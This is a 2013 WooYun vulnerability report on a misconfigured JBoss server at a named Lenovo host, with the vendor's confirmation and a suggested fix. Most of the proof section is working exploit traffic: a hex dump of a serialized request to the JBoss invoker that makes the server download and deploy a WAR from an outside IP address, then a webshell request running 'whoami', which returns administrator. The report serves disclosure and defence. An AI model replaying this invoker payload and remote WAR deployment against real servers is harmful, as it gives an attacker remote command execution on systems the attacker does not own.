当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039516

漏洞标题：联想某服务器中间件JBOSS配置不当 可命令执行

相关厂商：联想

漏洞作者： 猪猪侠

提交时间：2013-10-12 17:22

修复时间：2013-11-26 17:23

公开时间：2013-11-26 17:23

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-12： 细节已通知厂商并且等待厂商处理中
2013-10-13： 厂商已经确认，细节仅向厂商公开
2013-10-23： 细节向核心白帽子及相关领域专家公开
2013-11-02： 细节向普通白帽子公开
2013-11-12： 细节向实习白帽子公开
2013-11-26： 细节向公众公开

简要描述：

服务器JBOSS中间件配置做了一些安全配置，但还是没有防御到位，可命令执行。

详细说明：

#1 漏洞细节
http://www.exploit-db.com/exploits/28713/
#2 受影响服务器
http://appwiz.lenovo.net

漏洞证明：

PS E:\AppServ\php5> .\php.exe .\jboss.php appwiz.lenovo.net whoami
PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
     0 : 50 4f 53 54 20 2f 69 6e 76 6f 6b 65 72 2f 45 4a [POST /invoker/EJ]
    10 : 42 49 6e 76 6f 6b 65 72 53 65 72 76 6c 65 74 2f [BInvokerServlet/]
    20 : 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 74 65 [ HTTP/1.1..Conte]
    30 : 6e 74 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 [ntType: applicat]
    40 : 69 6f 6e 2f 78 2d 6a 61 76 61 2d 73 65 72 69 61 [ion/x-java-seria]
    50 : 6c 69 7a 65 64 2d 6f 62 6a 65 63 74 3b 20 63 6c [lized-object; cl]
    60 : 61 73 73 3d 6f 72 67 2e 6a 62 6f 73 73 2e 69 6e [ass=org.jboss.in]
    70 : 76 6f 63 61 74 69 6f 6e 2e 4d 61 72 73 68 61 6c [vocation.Marshal]
    80 : 6c 65 64 49 6e 76 6f 63 61 74 69 6f 6e 0d 0a 41 [ledInvocation..A]
    90 : 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 [ccept-Encoding: ]
    A0 : 78 2d 67 7a 69 70 2c 78 2d 64 65 66 6c 61 74 65 [x-gzip,x-deflate]
    B0 : 2c 67 7a 69 70 2c 64 65 66 6c 61 74 65 0d 0a 55 [,gzip,deflate..U]
    C0 : 73 65 72 2d 41 67 65 6e 74 3a 20 4a 61 76 61 2f [ser-Agent: Java/]
    D0 : 31 2e 36 2e 30 5f 32 31 0d 0a 48 6f 73 74 3a 20 [1.6.0_21..Host: ]
    E0 : 61 70 70 77 69 7a 2e 6c 65 6e 6f 76 6f 2e 6e 65 [appwiz.lenovo.ne]
    F0 : 74 3a 38 30 0d 0a 41 63 63 65 70 74 3a 20 74 65 [t:80..Accept: te]
   100 : 78 74 2f 68 74 6d 6c 2c 20 69 6d 61 67 65 2f 67 [xt/html, image/g]
   110 : 69 66 2c 20 69 6d 61 67 65 2f 6a 70 65 67 2c 20 [if, image/jpeg, ]
   120 : 2a 3b 20 71 3d 2e 32 2c 20 2a 2f 2a 3b 20 71 3d [*; q=.2, */*; q=]
   130 : 2e 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 [.2..Connection: ]
   140 : 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 43 6f 6e 74 [keep-alive..Cont]
   150 : 65 6e 74 2d 74 79 70 65 3a 20 61 70 70 6c 69 63 [ent-type: applic]
   160 : 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d [ation/x-www-form]
   170 : 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 43 6f 6e [-urlencoded..Con]
   180 : 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 33 32 [tent-Length: 732]
   190 : 0d 0a 0d 0a ac ed 00 05 73 72 00 29 6f 72 67 2e [........sr.)org.]
   1A0 : 6a 62 6f 73 73 2e 69 6e 76 6f 63 61 74 69 6f 6e [jboss.invocation]
   1B0 : 2e 4d 61 72 73 68 61 6c 6c 65 64 49 6e 76 6f 63 [.MarshalledInvoc]
   1C0 : 61 74 69 6f 6e f6 06 95 27 41 3e a4 be 0c 00 00 [ation...'A>.....]
   1D0 : 78 70 70 77 08 78 94 98 47 c1 d0 53 87 73 72 00 [xppw.x..G..S.sr.]
   1E0 : 11 6a 61 76 61 2e 6c 61 6e 67 2e 49 6e 74 65 67 [.java.lang.Integ]
   1F0 : 65 72 12 e2 a0 a4 f7 81 87 38 02 00 01 49 00 05 [er.......8...I..]
   200 : 76 61 6c 75 65 78 72 00 10 6a 61 76 61 2e 6c 61 [valuexr..java.la]
   210 : 6e 67 2e 4e 75 6d 62 65 72 86 ac 95 1d 0b 94 e0 [ng.Number.......]
   220 : 8b 02 00 00 78 70 26 95 be 0a 73 72 00 24 6f 72 [....xp&...sr.$or]
   230 : 67 2e 6a 62 6f 73 73 2e 69 6e 76 6f 63 61 74 69 [g.jboss.invocati]
   240 : 6f 6e 2e 4d 61 72 73 68 61 6c 6c 65 64 56 61 6c [on.MarshalledVal]
   250 : 75 65 ea cc e0 d1 f4 4a d0 99 0c 00 00 78 70 77 [ue.....J.....xpw]
   260 : f0 00 00 00 e8 ac ed 00 05 75 72 00 13 5b 4c 6a [.........ur..[Lj]
   270 : 61 76 61 2e 6c 61 6e 67 2e 4f 62 6a 65 63 74 3b [ava.lang.Object;]
   280 : 90 ce 58 9f 10 73 29 6c 02 00 00 78 70 00 00 00 [..X..s)l...xp...]
   290 : 04 73 72 00 1b 6a 61 76 61 78 2e 6d 61 6e 61 67 [.sr..javax.manag]
   2A0 : 65 6d 65 6e 74 2e 4f 62 6a 65 63 74 4e 61 6d 65 [ement.ObjectName]
   2B0 : 0f 03 a7 1b eb 6d 15 cf 03 00 00 78 70 74 00 21 [.....m.....xpt.!]
   2C0 : 6a 62 6f 73 73 2e 73 79 73 74 65 6d 3a 73 65 72 [jboss.system:ser]
   2D0 : 76 69 63 65 3d 4d 61 69 6e 44 65 70 6c 6f 79 65 [vice=MainDeploye]
   2E0 : 72 78 74 00 06 64 65 70 6c 6f 79 75 71 00 7e 00 [rxt..deployuq.~.]
   2F0 : 00 00 00 00 01 74 00 1a 68 74 74 70 3a 2f 2f 35 [.....t..http://5]
   300 : 39 2e 33 39 2e 37 31 2e 32 30 37 2f 61 2e 77 61 [9.39.71.207/a.wa]
   310 : 72 3f 75 72 00 13 5b 4c 6a 61 76 61 2e 6c 61 6e [r?ur..[Ljava.lan]
   320 : 67 2e 53 74 72 69 6e 67 3b ad d2 56 e7 e9 1d 7b [g.String;..V...{]
   330 : 47 02 00 00 78 70 00 00 00 01 74 00 10 6a 61 76 [G...xp....t..jav]
   340 : 61 2e 6c 61 6e 67 2e 53 74 72 69 6e 67 0d d3 be [a.lang.String...]
   350 : c9 78 77 04 00 00 00 01 73 72 00 22 6f 72 67 2e [.xw.....sr."org.]
   360 : 6a 62 6f 73 73 2e 69 6e 76 6f 63 61 74 69 6f 6e [jboss.invocation]
   370 : 2e 49 6e 76 6f 63 61 74 69 6f 6e 4b 65 79 b8 fb [.InvocationKey..]
   380 : 72 84 d7 93 85 f9 02 00 01 49 00 07 6f 72 64 69 [r........I..ordi]
   390 : 6e 61 6c 78 70 00 00 00 05 73 71 00 7e 00 05 77 [nalxp....sq.~..w]
   3A0 : 0d 00 00 00 05 ac ed 00 05 70 fb 57 a7 aa 78 77 [.........p.W..xw]
   3B0 : 04 00 00 00 03 73 71 00 7e 00 07 00 00 00 04 73 [.....sq.~......s]
   3C0 : 72 00 23 6f 72 67 2e 6a 62 6f 73 73 2e 69 6e 76 [r.#org.jboss.inv]
   3D0 : 6f 63 61 74 69 6f 6e 2e 49 6e 76 6f 63 61 74 69 [ocation.Invocati]
   3E0 : 6f 6e 54 79 70 65 59 a7 3a 1c a5 2b 7c bf 02 00 [onTypeY.:..+|...]
   3F0 : 01 49 00 07 6f 72 64 69 6e 61 6c 78 70 00 00 00 [.I..ordinalxp...]
   400 : 01 73 71 00 7e 00 07 00 00 00 0a 70 74 00 0f 4a [.sq.~......pt..J]
   410 : 4d 58 5f 4f 42 4a 45 43 54 5f 4e 41 4d 45 73 72 [MX_OBJECT_NAMEsr]
   420 : 00 1b 6a 61 76 61 78 2e 6d 61 6e 61 67 65 6d 65 [..javax.manageme]
   430 : 6e 74 2e 4f 62 6a 65 63 74 4e 61 6d 65 0f 03 a7 [nt.ObjectName...]
   440 : 1b eb 6d 15 cf 03 00 00 78 70 74 00 21 6a 62 6f [..m.....xpt.!jbo]
   450 : 73 73 2e 73 79 73 74 65 6d 3a 73 65 72 76 69 63 [ss.system:servic]
   460 : 65 3d 4d 61 69 6e 44 65 70 6c 6f 79 65 72 78 78 [e=MainDeployerxx]
     0 : 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d [HTTP/1.1 200 OK.]
    10 : 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2d [.Server: Apache-]
    20 : 43 6f 79 6f 74 65 2f 31 2e 31 0d 0a 58 2d 50 6f [Coyote/1.1..X-Po]
    30 : 77 65 72 65 64 2d 42 79 3a 20 53 65 72 76 6c 65 [wered-By: Servle]
    40 : 74 20 32 2e 34 3b 20 4a 42 6f 73 73 2d 34 2e 32 [t 2.4; JBoss-4.2]
    50 : 2e 33 2e 47 41 20 28 62 75 69 6c 64 3a 20 53 56 [.3.GA (build: SV]
    60 : 4e 54 61 67 3d 4a 42 6f 73 73 5f 34 5f 32 5f 33 [NTag=JBoss_4_2_3]
    70 : 5f 47 41 20 64 61 74 65 3d 32 30 30 38 30 37 31 [_GA date=2008071]
    80 : 38 31 34 31 37 29 2f 4a 42 6f 73 73 57 65 62 2d [81417)/JBossWeb-]
    90 : 32 2e 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 [2.0..Content-Typ]
    A0 : 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 [e: application/x]
    B0 : 2d 6a 61 76 61 2d 73 65 72 69 61 6c 69 7a 65 64 [-java-serialized]
    C0 : 2d 6f 62 6a 65 63 74 3b 20 63 6c 61 73 73 3d 6f [-object; class=o]
    D0 : 72 67 2e 6a 62 6f 73 73 2e 69 6e 76 6f 63 61 74 [rg.jboss.invocat]
    E0 : 69 6f 6e 2e 4d 61 72 73 68 61 6c 6c 65 64 56 61 [ion.MarshalledVa]
    F0 : 6c 75 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e [lue..Transfer-En]
   100 : 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d [coding: chunked.]
   110 : 0a 44 61 74 65 3a 20 53 61 74 2c 20 31 32 20 4f [.Date: Sat, 12 O]
   120 : 63 74 20 32 30 31 33 20 30 39 3a 31 38 3a 32 33 [ct 2013 09:18:23]
   130 : 20 47 4d 54 0d 0a 0d 0a 34 39 0d 0a ac ed 00 05 [ GMT....49......]
   140 : 73 72 00 24 6f 72 67 2e 6a 62 6f 73 73 2e 69 6e [sr.$org.jboss.in]
   150 : 76 6f 63 61 74 69 6f 6e 2e 4d 61 72 73 68 61 6c [vocation.Marshal]
   160 : 6c 65 64 56 61 6c 75 65 ea cc e0 d1 f4 4a d0 99 [ledValue.....J..]
   170 : 0c 00 00 78 70 77 0d 00 00 00 05 ac ed 00 05 70 [...xpw.........p]
   180 : fb 57 a7 aa 78 0d 0a 30 0d 0a 0d 0a [.W..x..0....]
     0 : 47 45 54 20 2f 61 2f 70 77 6e 2e 6a 73 70 3f 63 [GET /a/pwn.jsp?c]
    10 : 6d 64 3d 77 68 6f 61 6d 69 20 48 54 54 50 2f 31 [md=whoami HTTP/1]
    20 : 2e 30 0d 0a 48 6f 73 74 3a 20 61 70 70 77 69 7a [.0..Host: appwiz]
    30 : 2e 6c 65 6e 6f 76 6f 2e 6e 65 74 3a 38 30 0d 0a [.lenovo.net:80..]
    40 : 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 [Connection: Clos]
    50 : 65 0d 0a 0d 0a [e....]
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.2.3.GA (build: SVNTag=JBoss_4_2_3_GA date=200807181417)/JBossWeb-2.0
Set-Cookie: JSESSIONID=07624BA22D6770CA7D1B2E2682BC9F30; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 33
Date: Sat, 12 Oct 2013 09:18:33 GMT
Connection: close
lenovo-magic2\administrator

修复方案：

# 删除接口
# 设置中间件的访问控制权限，禁止web访问 /invoker 目录

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-10-13 21:13

厂商回复：

感谢您对联想安全做出的贡献！我们将立即评估与修复相关漏洞

最新状态：

暂无